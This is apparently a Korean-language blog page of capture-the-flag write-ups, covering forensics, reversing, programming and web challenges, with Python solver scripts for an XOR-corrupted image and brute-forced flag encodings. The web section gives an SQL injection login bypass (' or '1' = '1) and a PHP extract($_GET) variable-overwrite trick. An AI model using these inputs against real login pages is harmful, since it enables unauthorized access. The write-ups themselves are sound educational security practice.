
 

 

Strange cipher (250pts) 

I have found this strange encryption service. Can you decode it?

 

한 글자씩 hex값을 맞춰가면 됨.

 

 

Forensics

Deleted file (100pts) 

Help! I accidentally deleted a photo! Can you recover it for me please?

Non-standard flag format

 

png 시그니쳐 찾아서 카빙

 

 

Strange image (100pts) 

I received this "image" in my mailbox today, but I can not open it, as if it was corrupted or something. Can you fix it and tell me if it has any hidden meaning?

Note: if you think you "fixed" it and it does not open, try using a few different photo viewers.

Hint! When you 'fix' your image make sure you try multiple photo viewers as some might not want to display it

 

 xor 0x7a 연산을 하면 복구가 됨.

 

script :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import binascii
import re
 
fd = open("john.png""rb")
dat = fd.read()
data = binascii.b2a_hex(dat)
datas = re.findall(r'..',data)
 
red = ""
for i in range(0len(datas)):
    bit = eval("0x"+str(datas[i])+" ^ 0x7a")
    rad = str(hex(bit))
    if len(rad) == 3 :
        rad = rad.replace("0x""0x0")
        red += rad
    else :
        red += str(hex(bit))
print red
bin_ = ""
for j in range(0len(red), 4):
    binary_d = str(red[j:j+4])
    binary_d = binary_d.replace("0x""")
    bin_ += "\\x"+binary_d
 
fh = open("image.png""wb")
eval("fh.write(b'"+bin_+"')")
fh.close()
 
cs

 

스테가노 사이트()에서 문자열만 보면, fl4g 찾을 수 있음.

: 오른쪽 부분을 특수문자까지 같이 rot 돌리면 플래그가 나옴. https://www.dcode.fr/rot-cipher

 

 

 

Tri-color QR (200pts) 

I stumbled upon this strange QR code which seems to be in a new format. Can you help me decode it?\

 

stegsolve.jar로 3개 뽑아낼 수 있음.

그리고 hxd로 열었을때 푸터 시그니쳐 뒤에 PK 시그니쳐 확인 가능.

뽑아내서 압축 풀면 4번째 부분을 구할 수 있음.

 

 

 

Programming

Subset sum (200pts) 

You are given a number n and an array. Find those elements from the array that sum to the given number.

Number of tests: 10
Size of the array: 4 - 40 (+4 per level)
Input data type: 64 bit unsigned ints
Input formatting: 2 lines of text, a line containing n and a line containg the array.
Output formatting: the size of the subset and the elements of the subset, separated by a space
Time limit: 3s

 

야매로 푼 문제.

 

합이 나오면, 그 합이 되는 원소랑 개수를 구해서 보내는 거 같은데, 1과 그 합을 그대로 보내보니까 통과가 되서 그냥 간단 스크립트 짜서 품.

 

 

Reverse Engineering

 

Baby Rev (50pts) 

This program asks me for the flag, but i don't know it!

 

IDA

 

Easy Rev (75pts) 

Like the last one, but harder

 

IDA

 

Math (150pts) 

This executable is doing MATH. Everyone hates that so it must be hard to reverse

 

IDA로 까면 플래그 인코딩 연산 하는 부분이 있는데 이 부분을 그대로 파이썬으로 옮겨서 브포를 돌렸다.

완전자동화로 코드 짜다가 귀찮아서 그냥 반 노가다로 풀었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
def solv(input, q, p):
    key = 14335727
    base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    flag = "jveimeqpofewqY3chceAr+G6tPqKiM27u/CLhcbX7MPv" #44
    cipher = "0"*44
    cipher = list(cipher)
 
    v7 = 0
    v5 = 0
    for i in range(0len(input), 3):
        if i > len(input)-3:
            break;
 
        v6 = key ^ (ord(input[i + 2]) | ((ord(input[i + 1]) | (ord(input[i]) << 8)) << 8))
 
        for j in range(03):
            try:
                str(input[i+j])
            except :
                v5 =1
        for k in range(3-1-1):
            v4=0
            for l in range(5-1-1):
                if ( v6 & (1 << (6 * k + l)) ):
                    v4 |= 1 << l
            if v4:
                cipher[v7] = base64[v4]
            elif v5:
                cipher[v7] = "="
            else :
                cipher[v7] = 'A'
            v7 += 1
    cipher = ''.join(cipher)
    x=1
    if cipher[x] == flag[x] and cipher[x+1== flag[x+1]:
        print(chr(q))
        print(p)
        print(cipher)
        print(flag)
 
#yee = "TIMCTF{I_s33_you_UnDeRsTaNd_x86}"
yee= "TIMCTF{"
for q in range(33127):
    yy = yee + str(chr(q))
    for p in range(33,127):
        yeee = yy +str(chr(p))+str(chr(p))
        solv(yeee, q, p)
 
cs

돌려서 나온값 yee에 추가하고 x값 1씩 증가시켜주면 된다.

가끔 위 방식대로 하다가 출력되는 문자가 여러개가 나온다면, x값을 더 증가시켜 주면 된다. 

 

 

Strange jump (250pts) 

This application likes to jump!

 

math와 동일. 플래그 인코딩하는 부분 찾아서 브포했다.

연산코드마저 math의 key xor하는 부분을 제외하면 math와 풀이 코드가 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
def solv(input, q, p):
    base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    flag = "VElNQ1RGe2RlQzNwdDF2ZV9FeGNlUDB0aTBuX2g0bmRMZXJ9" #44
    cipher = "0"*55
    cipher = list(cipher)
 
    v7 = 0
    v5 = 0
    for i in range(0len(input), 3):
        if i > len(input)-3:
            break;
 
        v6 = (ord(input[i + 2]) | ((ord(input[i + 1]) | (ord(input[i]) << 8)) << 8))
 
        for j in range(03):
            try:
                str(input[i+j])
            except :
                v5 =1
        for k in range(3-1-1):
            v4=0
            for l in range(5-1-1):
                if ( v6 & (1 << (6 * k + l)) ):
                    v4 |= 1 << l
            if v4:
                cipher[v7] = base64[v4]
            elif v5:
                cipher[v7] = "="
            else :
                cipher[v7] = 'A'
            v7 += 1
    cipher = ''.join(cipher)
    y = 17
    if cipher[y] == flag[y] and cipher[y+1== flag[y+1]:
        print(chr(q))
        print(p)
        print(cipher)
        print(flag)
 
yee = "TIMCTF{"
 
for q in range(33127):
    yy = yee + str(chr(q))
    for p in range(33,127):
        yeee = yy +str(chr(p))+str(chr(p))+str(chr(p))
        solv(yeee, q, p)
 
cs

math와 동일. 돌려서 나온값 yee에 추가하고 x값 1씩 증가시켜주면 된다.

가끔 위 방식대로 하다가 출력되는 문자가 여러개가 나온다면, x값을 더 증가시켜 주면 된다. 

 

 

Web

Not so empty website (50pts) 

This website looks empty, but trust me, it is not!

페이지 소스에 나와있다.

 

 

Secret key of swag (150pts) 

Our spies leaked the authentication algorithm for this site, but the login seems rigged. Is it so?

parse()함수가 extract($_GET)과 같은 효과

$processed_key에 그대로 hax0r을 넣으면 끝.

 

 

Admin panel (200pts) 

Your job is to hack this admin panel and login.


sql 인젝션.

admin@admin

pw : ' or '1' = '1

 

728x90
반응형
728x90
반응형

Welcome_REV

50

 

32비트 elf파일인데 ida로 까보면 입력값 확인하는 함수를 확인할 수 있고, 함수 내부에 strncmp로 비교하게 되는 base64 문자열을 확인할 수 있다. 그대로 가져와서 디코딩하면 플래그가 바로 나온다.

 

 

 

 

Reversing Me

100

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
 
int main() {
    int i;
    char *serial = "H`cjCUFzhdy^stcbers^D1_x0t_jn1w^r2vdrre^3o9hndes1o9>}";
    char enter[54];
    printf("키를 입력하시게 : ");
    scanf("%s", enter);
    if (strlen(enter) == strlen(serial)) {
        for (i = 0; i < strlen(serial) && (enter[i] ^ (i % 2)) == serial[i]; i++);
        if (i - 1 == strlen(enter))
            printf("정답일세!\n");
    }
    else
        printf("그건 아닐세...\n");
        exit(0);
}
cs

 

enter[i] ^ (i%2) == serial[i] 이어야한다.

 

xor연산은 한 번 더 해주면 원래대로 돌아간다.

 

enter[i] == serial[i] ^ (i%2)

 

파이썬으로 코드를 짜서 플래그를 얻었다.

 

1
2
3
4
5
6
serial = "H`cjCUFzhdy^stcbers^D1_x0t_jn1w^r2vdrre^3o9hndes1o9>}"
flag = ""
for i in range(len(serial)):
  flag1 =ord(serial[i]) ^ (i % 2)
  flag += chr(flag1)
print(flag)
cs

 

 

Handray

100

음..

수상해보이는 부분 공략

string[i] 이랑 array[i]를 더하나봄

 

 

728x90

Strncmp

150

 

 

Keygen

200

 

 

Static

250

 

 

BabyMIPS

400

 

xor

728x90
반응형

+ Recent posts